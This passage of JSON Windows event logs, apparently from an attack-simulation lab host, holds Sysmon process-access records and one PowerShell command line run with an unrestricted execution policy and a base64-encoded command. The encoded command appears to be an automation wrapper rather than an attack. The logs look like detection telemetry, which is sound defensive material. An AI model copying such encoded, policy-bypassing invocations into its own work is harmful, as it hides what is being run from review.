indows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","EventReceivedTime":"2020-08-07 12:05:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8579,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:14.494\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:14.494","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8580,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:14.494\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:14.494","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8581,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:14.494\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:14.494","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8582,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:14.494\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:14.494","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8583,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:14.494\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:14.494","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8584,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:14.494\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:14.494","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8585,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:14.494\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 